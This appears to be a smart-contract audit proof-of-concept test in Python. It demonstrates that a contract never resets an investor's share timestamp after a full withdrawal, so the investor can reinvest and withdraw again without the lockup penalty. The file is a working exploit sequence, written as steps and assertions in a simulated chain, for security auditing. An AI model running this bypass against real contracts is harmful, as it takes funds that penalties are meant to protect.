"""
POC-004: Lockup Bypass via Persistent Timestamp 
Severity: MEDIUM | Likelihood: High | Impact: Medium
Validates that withdrawing all shares does not reset `share_received_time`,
allowing an investor to re-enter and withdraw immediately with no penalty.
"""
import boa
from eth_utils import to_wei
from script.deploy import deploy_engine, deploy_industry
LOCKUP_PERIOD = 30 * 86400  
PENALTY_BPS = 10
def _withdraw_payout(contract, investor):
    """
    Helper to read net payout of a withdrawal by comparing balances.
    """
    before = boa.env.get_balance(investor)
    with boa.env.prank(investor):
        contract.withdraw_shares()
    after = boa.env.get_balance(investor)
    return after - before
def test_poc_004_lockup_bypass_timestamp_persistence():
    """
    Steps:
    1. Investor A buys shares (timestamp recorded).
    2. Wait 31 days, withdraw penalty-free (timestamp persists).
    3. Re-invest immediately; `share_received_time` remains old value.
    4. Wait 2 days and withdraw again; protocol sees >30 days since
       original timestamp, so no penalty is applied → lockup bypass.
    """
    industry_contract = deploy_industry()
    deploy_engine(industry_contract)
    owner = industry_contract.OWNER_ADDRESS()
    investor = boa.env.generate_address("lockup_investor")
    boa.env.set_balance(owner, to_wei(1000, "ether"))
    boa.env.set_balance(investor, to_wei(1000, "ether"))
    
    with boa.env.prank(owner):
        industry_contract.fund_cyfrin(0, value=to_wei(100, "ether"))
    
    initial_investment = to_wei(10, "ether")
    with boa.env.prank(investor):
        industry_contract.fund_cyfrin(1, value=initial_investment)
    share_timestamp_first = industry_contract.share_received_time(investor)
    assert share_timestamp_first > 0
    
    boa.env.time_travel(seconds=LOCKUP_PERIOD + 86_400)  
    payout_one = _withdraw_payout(industry_contract, investor)
    assert payout_one >= initial_investment  
    assert industry_contract.shares(investor) == 0
    
    assert industry_contract.share_received_time(investor) == share_timestamp_first
    
    second_investment = to_wei(5, "ether")
    with boa.env.prank(investor):
        industry_contract.fund_cyfrin(1, value=second_investment)
    
    assert industry_contract.share_received_time(investor) == share_timestamp_first
    
    boa.env.time_travel(seconds=2 * 86400)
    company_balance_before = industry_contract.company_balance()
    payout_two = _withdraw_payout(industry_contract, investor)
    company_balance_after = industry_contract.company_balance()
    
    expected_penalty = second_investment * PENALTY_BPS // 100
    
    assert payout_two >= second_investment
    assert payout_two >= second_investment - 10  
    assert payout_two > second_investment - expected_penalty + 1
    actual_penalty = max(second_investment - payout_two, 0)
    avoided_penalty = expected_penalty - actual_penalty
    print("\n<<< POC-004 >>>")
    print(f"first_timestamp={share_timestamp_first}")
    print(f"post_withdraw_timestamp={industry_contract.share_received_time(investor)}")
    print(f"first_payout={payout_one}")
    print(f"second_payout={payout_two}")
    print(f"expected_penalty={expected_penalty}")
    print(
        "state_snapshot="
        f"{{'company_balance_before': {company_balance_before}, "
        f"'company_balance_after': {company_balance_after}, "
        f"'avoided_penalty': {avoided_penalty}, "
        f"'actual_penalty': {actual_penalty}}}"
    )
    print("[fail] timestamp persisted; second withdrawal unpenalized")